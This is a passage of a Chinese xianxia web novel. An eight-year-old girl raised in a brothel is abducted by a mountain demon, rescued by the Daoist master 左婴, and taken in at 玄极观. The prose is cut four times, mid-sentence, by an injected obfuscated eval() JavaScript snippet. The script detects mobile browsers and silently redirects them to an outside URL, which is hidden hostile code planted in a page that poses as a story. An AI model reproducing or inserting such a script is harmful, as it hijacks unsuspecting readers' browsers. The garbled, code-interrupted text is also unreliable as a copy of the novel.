《师门来了个黑心棉》 1. 黑山老妖 永州城西有条柳子街,街尾有座楼,楼上挂一块匾,题着“拾翠楼”三字。匾是旧的,字是金的,金箔已剥落了大半,只剩下“翠”字还亮着。 远远看去,像是整座楼便只剩这一点颜色。 楼里的姑娘们常说,那字是老鸨故意不修的。留着一个字,才好让过路的人晓得这里是做什么的。 蓁蓁不关心这些,她只晓得这栋楼里有她的屋子,在最高一层。 窗户用木条钉死了,只屋顶开了一方亮瓦,日光从那里落下来,落在地板上,像一块会移动的白色手帕。 她从小就看着那块手帕从东边移到西边,移着移着,一日便过完了。 今天是上元节。 她是从声音里知道这件事的。 外头的炮仗声从午后便响了,一阵紧一阵松,像有人拿着竹竿一下一下地敲着天。 接着是锣鼓声,是孩童们尖细的欢呼声,是烟火升空时那种“嗤——嘭”的闷响。 所有的声音都隔着窗棂与墙壁传进来,被削弱了,被揉碎了,变成一种嗡嗡的底噪。 蓁蓁趴在窗边,耳朵贴着木条的缝隙。她什么也看不见,但她听得见。 她听见有人在笑,有人在跑,有小贩在高声喊着“糖葫芦——两文一串”。 一个母亲在骂孩子,骂完了又笑了。烟火绽开时人群的惊呼,像潮水一样涌起来,又落下去。 她就这样趴着,听了许久。 久到外头的声音渐渐稀了,楼下有人在唤她。 “蓁蓁——姑娘叫你下去呢。” 是厨房的赵妈。 蓁蓁“嗯”了一声,徐徐从窗边退开。 她没有马上出门,而是先走到桌边,把那盏油灯拨亮了些。 火苗跳了跳,照亮一张还未完全长开的脸。 眉目淡淡,叫人看着舒服。 只是她的眼睛里少了一些孩童本应有的好奇与光亮。 她不笑的时候,看起来像是空荡荡的。 赵妈又说了一遍:“蓁蓁?听见没有?” “听见了。”她应了一声,推开门,往楼下走去。 拾翠楼的楼梯是木头的,踩上去会吱呀作响。蓁蓁走得很小心,一步一步踏在靠墙的那一侧,那里不那么响。 楼下的厅堂里,老鸨李妈妈正坐在太师椅上,手里端着一盏茶。看见蓁蓁下来,她放下茶盏,上下打量了一番,满意地点了点头。 “嗯,又长开了些。我的女儿,你这张脸再过两年够咱们吃一辈子的。” 蓁蓁站在那里,没有接话。 她不知道该怎么接。在拾翠楼里住了八年,她学会的最要紧的一件事便是不要接话。接了一句话,便有更多的麻烦候着。 李妈妈显然也没指望她接话,她挥了挥手,让身旁的丫鬟端了一碟点心来,搁在蓁蓁面前。 “今晚是上元节,妈妈疼你。”李妈妈笑着说,露出一口金牙,“好好养着,往后的好日子还长着呢。” 蓁蓁望着那碟点心。 是桂花糕,她其实不爱吃桂花糕,觉得太甜了,甜得腻嗓子。 但她晓得,若她说“不吃”,李妈妈会不高兴。于是她伸出手,拿了一块,慢慢地咬了一口。 桂花的气味在嘴里散开,甜得让她皱了皱眉。但她没有放下,仍是一口一口地吃完了。 外头的烟火还放着。 透过门帘的缝隙,蓁蓁看见一朵金色的菊花在夜空中炸开,照亮了半条柳子街。街上的人都仰着头在看,只有她低着头,看着手中剩下的那半块桂花糕。 她在想一件事,自己为什么要活着。 这个念头不是今天才有的。 它像一只黑色的鸟,不知道从什么时候起便栖在了她肩头,偶尔会扇一扇翅膀,让她晓得它还在。 “活着有什么意思呢?”蓁蓁在心里问自己。 窗外的烟火还在继续。 她抬起头,望着那一方夜空,忽然觉得那朵金色菊花的形状,像极了一扇门。 她不晓得自己为何会这样想。 正在她这样想着的时候—— 整栋拾翠楼忽然安静了。 像被什么东西一口吞掉那般,烟火声没了,街上的人声没了,连风的声音也没了。 一切都像是被一只无形的手按住了,只有她面前那盏油灯的火苗还在跳动。 蓁蓁感觉到了什么,凉意从她的脚底漫上来,顺着她的脊背一路往上爬。 她想要站起来,但还没来得及动身,头顶的屋顶碎了。 一只手从破开的窟窿中伸了下来。 指甲乌黑,长长地蜷曲着,像是几柄被火燎过的钩子。皮肤上覆着一层暗青色的细鳞,在手背上排列成某种奇异纹样。 那只手穿过碎裂的瓦片与木梁,穿过纷纷扬扬落下的灰尘与碎屑,径直朝蓁蓁抓来。 她应当尖叫,她应当逃跑,她应当做任何一个八岁女孩在这种情况下应当做的事。 但她只是抬着头,看着那只越来越近的手,心里忽然浮起一个极清晰的念头。 “原来便是这样死的么。” 那只手的五指张开,像一朵正在合拢的花,而她便是花心的蕊。 一切都发生得很快。 就在被攥住的那一刻,她隐约听到了一声极其轻的叹息,轻得像风吹过竹叶的边沿。 世界晃动了一下,她的双脚离开了地面。 耳边的风声呼啸着灌进来,夹着沙砾和碎瓦。 她被那只手握着,像被老鹰抓住的一只雀儿,穿过破碎的屋顶,掠过漆黑的夜空,朝远处那座黑色的山峰飞去。 冷风打在她脸上,蓁蓁眨了眨眼睛,看见脚下的永州城正迅速缩小。那些她从未见过的街道和屋舍,此刻都变成了星星点点的灯火,像打翻了一地的碎金。 她看见烟火还在绽放,在离她很远很远的地方。金色、红色、紫色的光点在她的瞳孔里一闪一闪地亮着,缓缓熄灭。 而后,她失去了知觉。 那座黑色的山峰,在夜色中张开了它的口。 它叫黑山,山上有个洞,洞里有个王。 人称黑山老妖。 黑山老妖等了很久了。 他是积年的妖物,盘踞此山已逾三百年,寻常修士奈何他不得。 只是他修行到了瓶颈,需一味药引。一个八字纯阴的、天生的炉鼎之体。 他寻了将近百年,终于寻到了。 他不由心中欢喜。 蓁蓁醒来的时候,发现自己躺在一块很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504293|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的石头上。 石头平平的,又冷又硬,表面布满了细密的纹路,像是有人拿刀在上面刻了什么东西。 她侧过头去看,但光线太暗了,看不清。 四周是黑的,像是把墨汁倒进水里,她甚至觉得自己能看见那片黑暗在缓缓流动。 她坐起来,摸了摸自己的胳膊和腿。都还在,没有受伤。 这让她有些意外。 那样高的地方被带过来,她竟没有伤着骨头。也许是那只手将她放下来时还算小心,又也许只是她运气好。 她正想着,黑暗里忽然亮起了两盏灯。又红又亮,悬在半空中,像两颗熟透了的枣子。 那竟是一双眼睛。 那双眼睛很大很大,大到几乎占满了蓁蓁全部的视野。瞳孔是竖着的,像猫一样,在黑暗中一收一放,正死死地盯着她。 倘若换了别家的孩童,此刻大约早已尖叫着逃跑了。蓁蓁静静地坐在那石头上,仰着头,与那双眼睛对望。 巨大的身躯缓缓从黑暗中浮现出来。 那是一具极其庞大的人形黑影,坐在一把由白骨搭成的座椅上。周身的黑气不住地蠕动着,变幻着形状,像是一条条无形的蛇绕着他的身躯游走。 他偏了偏头,似乎在打量她。 “你不怕?” 声音从四面八方涌来,低沉的,像是地底有雷在滚。 蓁蓁想了想,说:“怕的。” “那你怎么不跑?” “跑不掉。” 黑山老妖沉默了一瞬,发出了笑声。像是几十块石头同时在碾磨,震得山洞里的碎石簌簌往下掉。 “有趣,你是我见过的最有趣的小东西。” 他伸出那只乌黑的手,缓缓朝她的面门覆下来。 蓁蓁仍然没有躲。 她只是仰着头看着那只手,呼吸极轻极浅,眼神也淡淡的。仿佛她并不是在看着什么要取她性命的东西,而是像从前趴在窗边那样,在看着一件与她毫不相干的事。 她甚至在想不知道会不会疼。 若疼的话,会疼多久。若死了,她是不是便不必再思考“为什么要活着”了。 她的瞳孔微微涣散。 然而就在那只手即将触及她眉心的那一刻,远处传来一个声音。 像是隔着几重山,被风吹过来的。 “咦。” 只是一个带着些微疑惑的声音。 黑山老妖的动作顿住了。 他的瞳孔猛然一缩。 那一瞬间,蓁蓁感觉到了一种极为奇异的变化。 她面前那只巨大的妖物,他的气息原本是铺天盖像一座山一样压在她身上的,忽然之间变得紧绷了。 像一只正在进食的野兽忽然嗅到了猎人的气味。 “玄极观的牛鼻子……”黑山老妖的声音低了下去,不再是之前那种戏谑玩闹似的调子,而是变得又沉又哑,“怎会寻到此处来?” 没有人回答他。 洞外传来一阵脚步声。 不紧不慢的,像是来人并不着急,只是在山间散步,恰好路过此处。 脚步声在洞口停住了。 蓁蓁偏过头,透过黑山老妖巨大的身躯与洞壁之间的缝隙,望见了洞口站着一个人。 2. 牛鼻子 洞外的月光斜斜地照进来,将他的影子拉得很长。 那人穿着一件极素净的道袍,像是随便从衣柜里拣了一件便穿上了。 有些清瘦,身姿笔挺,被月光照着的半边脸极为清俊。 他就那么站在洞口,负着手,往里看了一眼。 那一眼先落在黑山老妖身上,停了一息便移开了。随即,他的目光掠过了满洞的妖气和白骨,落到了那块大石头上的蓁蓁那儿。 他的目光在她脸上停了一停。 “你这小妖,不在山里好好修行,跑来为祸人间。” 语气是平淡的,带着一点儿几乎听不出来的无奈。 黑山老妖的瞳孔竖了起来。 “左婴。”他沉声道,齿缝间挤出那个名字,声音像是从喉咙最深处碾磨出来的,“本王与你玄极观向来井水不犯河水——” 左婴没有让他说完。 “确实。”左婴点了点头,“一向是井水不犯河水的。” 他的语气仍然很平和,“只是我今夜打坐时,总觉得有什么东西在我心神上挠痒痒——” 他抬起手,用手指点了点自己的眉心:“一下一下的,闹得我睡不着。我便想着,出来走走罢。走着走着,便走到这里来了。” 他看着黑山老妖,眼里有一丝好奇的神色:“你说巧不巧。” 黑山老妖没有再说话,他沉默了很久,洞穴里安静得只剩下蓁蓁极轻的呼吸声。 她坐在石头上,望着洞口那个被月光照亮的人影,不知为何,心里竟没有多少害怕。 “你要如何。”黑山老妖终于开口了,声音里带着一股被压下去的怒意。 左婴没有回答,蓁蓁并没有看清楚发生了什么。 只看见左婴往前迈了一步,那一步落下的时候,他身旁的月光似乎晃了晃。 洞穴里忽然起了一阵风,带着草木与露水气息的清冽。 那阵风不大,却吹得黑山老妖周身的黑气像遇了火一样剧烈翻涌起来,滋滋作响,仿佛水浇在烙铁上。 黑山老妖发出一声闷哼,那声闷哼里带着痛楚,也带着惊怒。 “左婴——”他厉声道,“你当真要与本王不死不休?” 左婴没有答话,他右手掐了个诀,动作随意得像是拂去衣襟上的一片落叶。 但就在他指尖落下的那一瞬,一道极淡的青光从他指间飞出,细如蚕丝,却锋利无比。 那根线穿过黑暗,穿过翻涌的黑气,直取黑山老妖的眉心。 黑山老妖暴喝一声,整座山洞都为之震颤。他那只乌黑的大手猛然抬起, 五指张开,掌心里忽然亮起一团暗红色的光。那光芒一现,蓁蓁便觉得一股腥甜的气味扑面而来,像是铁锈混着腐血,让人一阵阵发晕。 暗红色的光迎上了那道青线。 一声极轻的“嗤——”,像是烧红的铁条插进了水里。 蓁蓁看见来人那道青线穿透了暗红色的光,直直地钉入了黑山老妖的掌心。 黑山老妖发出一声震耳欲聋的咆哮,整座洞穴都在这一声咆哮中剧烈摇晃,碎石如雨般从洞顶簌簌坠落。 他的右手被洞穿了一个孔洞,黑血从伤口中涌出,落在地上嘶嘶作响,将岩石蚀出一个个坑洼。 但他没有倒下。 他左手一翻,不知从何处取出一面巴掌大的小旗。 旗子是暗金色的,旗面上绣着一只独眼的异兽,旗杆像是某种兽骨打磨而成,通体泛着幽幽的荧光。 他将那小旗往身前一挥。 刹那间,蓁蓁感到一股巨大的力量如山崩一般迎面压来。她整个人被那股力量推得向后飞去,后背重重撞在洞壁上,痛得她一口气差点没喘上来。 她看见左婴的眉头微微皱了一下。 这是她第一次在他脸上看到除了平淡之外的神情。 那面小旗挥动之处,一道暗金色的光幕骤然展开,将黑山老妖整个笼罩在内。那光幕上流转着无数符文,古老而狰狞,仿佛有生命一般在光幕表面缓缓游走。 左婴抬起右手,并指如剑,朝那光幕虚虚一划。 一道比方才更亮、更烈的青芒从他的指尖飞出,撞在那暗金色的光幕上。 光幕剧烈震颤,发出一种像是金属被撕裂的声音,尖锐得让蓁蓁忍不住捂住了耳朵。 光幕上出现了一道裂纹。 黑山老妖的脸色变了。 他没有想到,自己祭出这面旗,竟然也只能挡住左婴一剑。 他深深地看了左婴一眼,那一眼里有怨毒,有忌惮,也有一丝不易察觉的恐惧。 他猛地将那小旗往自己胸口一拍。旗子化作一道暗金色的光,裹住了他的身躯。 与此同时,他整个人化作一道黑光,往洞穴深处遁去。 那道黑光极快,快到蓁蓁的视线几乎跟不上,但左婴的手比她更快。 他右手一翻,五指虚虚一抓。 蓁蓁感到自己的腰间一紧。 她低头一看,是一根素面腰带,像是随手从身上解下来的一般,不知什么时候已经缠在了她的腰上。 松松地绕了一圈,打了个结。力道不重,稳稳地将她从石头上带了起来。 她整个人被那根腰带牵引着,轻飘飘地飞过了黑山老妖的头顶,飞过了那些嶙峋的怪石和白骨,稳稳地落到了洞口。 落到了左婴的身旁。 左婴已将腰带收了回去,正在不紧不慢地将它系回腰间。 他系腰带的方式也很随意,像是刚洗完脸在系衣带似的,完全不像刚刚从一个三百年的老妖手中抢了一个人。 系好了,他低头看了蓁蓁一眼。 “能走么。” 蓁蓁仰着头看着他,离得近了才看清他的容貌。 小小的她觉得这般容貌给李妈妈看了能觉得必会带来百世荣华富贵 “能走。”她说。 左婴点了点头,没有多言,转身往山下走去。 蓁蓁跟在他身后,她回头看了一眼洞穴深处。 巨大的暗青色身躯正缓缓化为灰烬,那面旗保住了他一缕残魂,在最后一刻撕裂虚空遁走,但他的肉身已经留在了那里。 黑山老妖,三百年道行,从今天起只剩一缕残魂飘荡在不知名的远方。 此刻的他,只是狼狈地带着满腔怨毒地从自己盘踞了三百年的洞府中逃亡,连回头看一眼都不敢。 她转回头,看着前方那个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504294|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧不慢走着的身影,忽然觉得今夜的月亮,似乎比往常要亮一些。 下山的路并不难走。 左婴走得不快,蓁蓁便也走得不快。 她没有问他是谁,没有问他要去哪里,也没有问他为什么要救她。 她只是跟在他身后,一步一步地走着,像一只刚学会走路的幼兽跟随着一个恰好路过的人。 走了一段路,左婴忽然停下脚步,回头看了她一眼。 他看的是她的脚。 蓁蓁也低头看了看自己的脚。 她穿着一双薄薄的布鞋,是李妈妈给她做的,鞋底很软,只适合在拾翠楼的木地板上走来走去。 而此刻,她正踩在黑山满是碎石的山路上,鞋底已经被尖石磨破了几处,渗出了血。 她却没有吭声,甚至自己都未曾留意。 左婴看了片刻,没说什么。他移开了目光,继续往前走。 走了两步,他的声音从前方传来,不咸不淡的:“疼么。” 蓁蓁愣了一下,才反应过来他是在问自己。 “有一点。”她说。 前面的人没有回头,只是“嗯”了一声,算是知道了。 他的步子慢了一些。 蓁蓁发现了这件事。 她看着前面那个人的背影,觉得那个背影和今夜的月色一样,轻飘飘的。 走到山脚的时候,天边已经有了些微的亮光。蓁蓁抬起头,看见远处永州城的轮廓正在晨雾中缓缓浮现,像是有人在宣纸上勾了淡淡一笔。 她忽然想起一件事。 “那个洞里的妖怪。”她开口,声音有些哑,“他还会跟来么。” 左婴没有立刻回答,他走了一段路才开口,语气像是在说一件很小的事:“不会,他怕死。” 蓁蓁“哦”了一声,没有再问了。 走着走着,困意像潮水一样慢慢地、慢慢地涌上来。她的眼皮越来越沉,步子越来越慢。 左婴似乎察觉到了,停下脚步,回头看她。 蓁蓁眨了一下眼睛,又眨了一下,她的视线已经开始模糊了。她看见左婴转过身来,蹲下身,似乎在打量她。 她听见他的声音,隔着一层厚厚的雾气一般传来:“你叫什么名字。” “蓁蓁。”她说,声音已经很轻了,轻得像是说给自己听的,“‘其叶蓁蓁’的蓁蓁。” “蓁蓁。”左婴重复了一遍这个名字,像是在品一盏茶的滋味,轻轻点了点头。 蓁蓁只觉得身子一轻,迷迷糊糊中,她察觉到自己被一种轻柔的力量托了起来。 她太困了,她在那片温暖中闭上眼睛,沉沉地睡着了。 左婴负着手,慢慢走在山道上。他身后一个八岁的小女孩正悬在空中,毫无知觉地跟着他飘行,像是被他牵着的一只风筝。 他走了一段路,忽然微微偏了偏头,自言自语般说了一句:“蓁蓁么。” 他顿了顿。 “倒是个好名字。” 山路很长,晨光越来越亮,将两个人的影子在地上斜斜地拉着。 一个是不紧不慢走着的大人,一个是安静飘着的小女孩。 远处,永州城的城门正在缓缓打开。 3. 玄极观 蓁蓁醒来时,入目是一片素色的帐顶。 帐子是粗麻布的,洗得发白,边角处有几处补丁,针脚倒是齐整。她躺了一会儿,才慢慢坐起身来。 屋子不大,一张木板床,一张旧桌,桌上搁着一只粗陶茶壶,壶边扣着一只碗。 窗子是支起来的,午后的日光从窗外照进来,在地上铺了亮堂堂的一片。窗外有鸟鸣,一声一声的,不紧不慢。 蓁蓁低头看了看自己。 脚上那双磨破的布鞋已经被人脱了,搁在床脚。脚底板上涂了一层淡绿色的药膏,凉丝丝的,破口处已经收了口,连疤都不曾留下。 她盯着自己的脚看了一会儿,又抬头打量这间屋子。 门是虚掩着的。 门外传来走动声与说话声,断断续续的,混在一起听不清楚。 蓁蓁下了床,走到门边,从门缝里往外看。外头是一个院子,铺着青石板,晒着几笸箩药材。有几个穿灰布衣裳的人正在翻晒。 院子那头是一道矮墙,墙外是一片松林,松林顶上露出远山的轮廓。再远一些,天蓝得干干净净。 一个穿青灰色道袍的少年从院子那头走来。他神色平和,眉目清朗,绾着一个简单的道髻,髻上插一根素木簪子,手里端着一只粗碗,碗里冒着热气。 他走到门前,看见蓁蓁正趴在门缝上张望,便停下步子,蹲下身来,将碗递到她面前:“饿了吧。厨房里只剩下这些了,你先垫垫肚子。” 蓁蓁看了他一眼,伸出手接了碗。是米粥,熬得很稀,面上飘着几片菜叶。 她端着碗,没有马上喝,低头看了一会儿,才小口小口地喝了起来。 少年蹲在一旁,也不催她,只安静地看着。 蓁蓁喝了小半碗,才放下碗,抬头看他。 少年见她停了,便开口道:“我叫黎素真。你呢?” “蓁蓁。” “哪个蓁蓁?” “其叶蓁蓁的蓁蓁。” 黎素真点了点头,伸手接过她手里的碗,站起身来:“你脚上的伤已经上过药了,明日便能好利索。今日你先歇着,有什么事,可以到前头来找我。” 蓁蓁问:“这里是哪儿?” “玄极观。”黎素真答道,“救你回来的那位,是我师父。” 蓁蓁“哦”了一声,便没有再问了。 黎素真端着碗转身离开了。 此后数日,蓁蓁便在那间小屋里住着。没有人来告诉她接下来要做什么,也没有人来问她打算怎么办。 每日清晨有人送来饭食,午后又有人来收走碗筷。 送来饭食的人各不相同,有时是个面容敦厚的中年道士,有时是个沉默寡言的年轻居士,谁也不同她多说闲话。 蓁蓁也不急。 她每日坐在门槛上,看着院子里的日影从东边移到西边,看着松林被风吹动时像一片绿色的波浪。 她不知道的是,在她坐在门槛上发呆的这些日子里,有一个人在看着她。 玄极观后山有一间静室,左婴每日晨起便在此处打坐。静室的窗子正对着下院的几间客房,从这个角度看过去,院子里的一举一动都落在眼里。 此时左婴正倚在窗边,手里端着一盏茶。他看着下院里那个小小的身影坐在门槛上,一动不动地望着远处,维持这个姿势足有小半个时辰。 若渝站在他身后,顺着他的目光看了一眼,道:“那孩子来了有五日了罢。” “四日。”左婴道。 “每日便这般坐着?” “嗯。” “不说话?” “不问。” 若渝沉默了一瞬:“倒是少见。” 左婴喝了一口茶,没有接话。 若渝又问:“师父打算如何安置她?” 左婴放下茶盏,指尖在杯沿上轻轻摩挲了一下:“她体质特异,心性也异于常人。收徒之事,不急。先让她住着,看看再说。” 若渝明白了,没有再问,躬身退出了静室。 此后的日子里,蓁蓁开始自己在院子里走动。她走得很慢,有时会在某一处停下,站上一会儿,也不知在看什么。 她走到晒药材的笸箩前,蹲下来看那些干枯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504295|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草叶子,用手轻轻拨弄一下,又站起来走开。 她走到院墙边,踮起脚往外看了一眼,又放下脚,转身往回走。 左婴在静室里看着这一切,目光不紧不慢地跟着那个小小的身影移动。 他看见蓁蓁路过正在劈柴的居士时,会自觉地绕开一些。 有人端着热汤从厨房出来,她便站在路边等着,等人走过去了,她才继续走自己的路。 不碍事,不添乱,不声不响。像一只不大需要照料的小猫,自己就能把自己养活。 左婴看了一段时间后,转身去翻阅书架上的一卷簿子。 那是山下拾翠楼的底细,他托人查来的。 簿子上写得清楚,蓁蓁,籍贯不详,永州城外拾翠楼老鸨李四娘于八年前从人贩子手中购得,购价五两银子。 自幼锁于阁楼,延请夫子教习诗书礼仪,又请乐师授琵琶与音律,一应花销均记在账上。 簿子末尾附了一行小字:“此女八字纯阴,天生炉鼎,于修行极其有益。” 左婴阖上簿子,搁回原处。 又过了几日,蓁蓁开始绕到前院去。 前院热闹得多,香客来来往往,殿中香烟缭绕。蓁蓁不懂得那是香火气,只觉得与拾翠楼里李妈妈熏的沉香不大一样,这里的气味更清,更淡。 她看见一个面容清瘦的中年道士坐在偏殿里,面前排着几个百姓,那道士正一一为他们解签。 道士说话声音不大,但每个百姓听完后都连连道谢,神色安然。蓁蓁在旁边看了一会儿,没有上前,转身走了。 她又走到另一处偏院,看见一个身材壮实的道士正在为几个村民模样的男子画符。 那道士提笔蘸朱砂,动作极快,笔尖在黄纸上一气呵成。村民们双手接过符纸,小心翼翼折好揣进怀里。 蓁蓁站在门口看了片刻,又转身走了。 偶尔有人注意到角落里那个小小的身影,但没有人特意上前去与她搭话。 他们都知道师父带回了一个孩子,也知道师父尚未开口说收与不收。既然师父没有发话,那便先看着。 4. 心性 这一日午后,蓁蓁又走到了那棵老桂树下。黎素真正在那里看一本游记,讲的是岭南一带的山川风物。 蓁蓁在离他不远的地方站了一会儿,没有出声。黎素真翻了一页书,余光扫见她站在那里,便没有继续看下去,将书卷搁在膝上,偏过头来看着她。 “你总是一个人站着。” 蓁蓁没有否认。 她沉默了一会儿,走到桂树另一侧的石墩上坐下,也不看他,只是看着院子里地上爬过的一只蚂蚁。 黎素真看了她一阵:“你从哪里来的?” “不知道。” “不知道?” “李妈妈买我回来的。她不告诉我原先是从哪里来的,只说那家人穷,养不起女儿便卖了。” 蓁蓁说这些话时语气平平的,像是在说一件与自己无关的事。 黎素真沉默了一瞬,又问:“你在那楼里,平日都做什么?” “学东西。早上学识字,下午学琵琶。” “晚间李妈妈有时会让我出来给客人看一眼,只看看,不许说话。看一眼便领回去了。” “她都教你学些什么?” “《女则》《女训》。” 黎素真听见这几个字,眉头微微一动。 他没有马上开口,而是先拿起茶杯喝了一口,放下,才道:“那些书里讲的,都是教人如何做个乖巧的好女子。什么‘卑弱第一’、‘敬顺第二’——依我看,全是糟粕。” 蓁蓁抬眼看他。 她不意外他说出这样的话来,只是觉得这个少年说话比他的外表要直接得多。 她想了想,问道:“那你觉得该学什么?” 黎素真被她反问了一句,倒是愣了一下。他想了想,道:“总该学些有意思的东西。山川地理,风物人情,诸子百家——天下好书多得很,何必只读那几本把人往窄里教的。” 蓁蓁没有接话。 她低头看着自己的手指,指尖无意识地摩挲着袖口的边沿。 黎素真见她沉默,以为是自己说得太急了,便放缓了语气:“我不是在说你学错了。我是说……教你那些东西的人,眼界太窄。” 蓁蓁抬起头来:“李妈妈眼界不窄。她晓得什么样的姑娘卖得贵。女则女训是门面,琵琶音律是本事,这些都是价钱的一部分。” 她说这些话的时候,眼神清明而平淡。 黎素真看着她,忽然感到一种说不清的别扭。 不是因为她说的话不对,而是因为她用这样平静的语气说出这些话本身就不对劲。 但他又不知道该说什么来回应她。 他沉默了一会儿,转向另一个话题:“你会弹琵琶?” “会的。” “弹得如何?” 蓁蓁想了想,给了个很老实的回答:“李妈妈说,城里几家乐坊的先生来听过,都说好。” “但这话未必是真的,也许是李妈妈故意说给我听的,好让我安心学。” 黎素真忍不住笑了一下。 他笑起来的时候,眉眼舒展开来,整个人的气质便不像之前那样老成了。 “你这个人倒是实在。”他说。 蓁蓁不解地看了他一眼,不明白这有什么好笑的。 黎素真也没有解释,他弯腰从地上的矮几上拿起另一只茶杯,替蓁蓁倒了半杯茶,推到她面前。 “喝茶。” 蓁蓁接过来喝了一口,茶是粗茶,有些涩口。 入夜之后,若渝、澄怀、知常、悟然、子綦五人陆续到了后山的静室。 他们被左婴唤来。 左婴坐在灯前,手里转着一只空茶杯,指腹缓缓摩挲着杯沿。他没有马上开口,静室中安静了片刻,他才将茶杯搁下。 “那个孩子,你们这些日子都见过了罢。” 五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504296|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人各自点头。 若渝道:“见过了。安安静静的,不碍事。” 澄怀道:“前日在药材房门口站了一会儿,看我晒了一下午草药。不吭声,也不走。我收了笸箩她才转身离开。” 悟然道:“昨日她在前殿门口站了一刻钟,看我给人解签。后来有个香客的孩童跑过来撞了她一下,她也没恼,自己站起来拍了拍衣裳,走开了。” 左婴听完了,又问:“依你们看,此子心性如何。” 若渝先开口:“稳。” 他只说了这一个字,便没有再多言。澄怀想了想,道:“八岁的孩童,能做到不添乱、不闹人、不多话的,已算是难得。” “但她不只是不闹,她站在那里的时候,像是根本没有想要从这里得到什么的意思。”他顿了顿,“我反而觉得,这不太像八岁。” 知常接口道:“要说像什么,有点像一只野猫。你给它吃的,它就吃了。你伸过手去摸它,它也不躲。但你若是想把它抱起来带回家,它未必肯。” 悟然笑道:“你这个比方倒是贴切。” 子綦一直没有开口。 他是五人中最年轻的一个,也是平日话最少的一个。 左婴看向他,他便微微欠身,道:“我看得不多,只觉得她那双眼睛不像是在看新鲜东西,像是在确认什么东西与自己想的一样不一样。” 静室里安静了一会儿,左婴环顾五人:“那你们觉得,她是否适合收入玄极观门下。” 这一次,五人沉默得更久了一些。 最终还是若渝开口:“适合。但这孩子,怕是不好教。” 左婴听了这句话,没有点头也没有摇头,只是站起身来,走到窗边。 窗外是沉沉的夜色,远处的山影连绵如墨,只有玄极观前殿的灯火在夜色中亮着一点暖光。 他望着那一点灯火,缓缓道:“剩下的且看她自己罢。” 5. 生死 蓁蓁在玄极观住了下来。 这一住,便从初春住到了深冬。 山中不知岁月长,蝉鸣后只觉桂花开过便谢了,桂花谢过之后,院里的银杏便开始黄了。 先是叶尖上泛起一点金色,再渐渐蔓延到整片叶子,最后满树都成了金黄。 风一吹,叶子便纷纷扬扬地落下来,在地上铺了厚厚一层。 再接着便开始落雪。 蓁蓁每日的生活很简单。 清晨起来,自己洗漱,自己去厨房领一份早饭,吃过之后便在院子里走走,或是坐在老桂树下的石墩上发呆。 有时她会帮晒药材的居士把翻落在地上的几片枯叶捡起来,放回笸箩里。 有时她会帮厨房的赵婆婆把晒干的豆角收进筐里。 没有人吩咐她做这些事,她只是看见了,便顺手做了。 做完了,便又回到她常坐的那块石墩上,安静地待着。 黎素真偶尔会来找她说话,给她带一些杂书看。 他带来的书都是游记、志怪、杂谈之类的东西,浅显有趣,不费脑子。 他教蓁蓁认了几个新字,蓁蓁便自己捧着书慢慢读,遇到不认识的字就攒着,等黎素真来了再问他。 左婴一直没有再出现过。 蓁蓁也不问。 她不是不好奇,只是她从小便学会了一件事,不该问的事不要问。在拾翠楼里,多问一句话便多一分麻烦。 这个习惯养了八年,已经长在她骨头里了。 今日天色有些阴沉,像是要下雨却又一直没落下来。山间的雾气漫进院子里,把远处的松林和殿脊都罩在一片灰蒙蒙的颜色里。 蓁蓁坐在回廊的栏杆上,手里捧着一本《山海志异》,正读到“南海之外有鲛人,水居如鱼,不废织绩,其眼泣则能出珠”这一段。 她读得很慢,遇到不认识的字便停下来,用手指在掌心画一画,猜它的意思。猜不出来,便暂且跳过去,继续往下读。 她正读到鲛人织绡的段落,忽然觉得身侧的雾气动了动。 她抬起头来。 左婴不知什么时候已经站在了她身旁,正负着手,微微低头,看着她手中的书页。 他今日没有穿那件素净的道袍,换了一件深青色的氅衣,衣上落了一层薄薄的水雾。 他像是从雾里走出来的,又像是原本就站在那里,只是蓁蓁一直没有注意到。 蓁蓁合上书,从栏杆上滑下来,站好,叫了一声:“道长。” 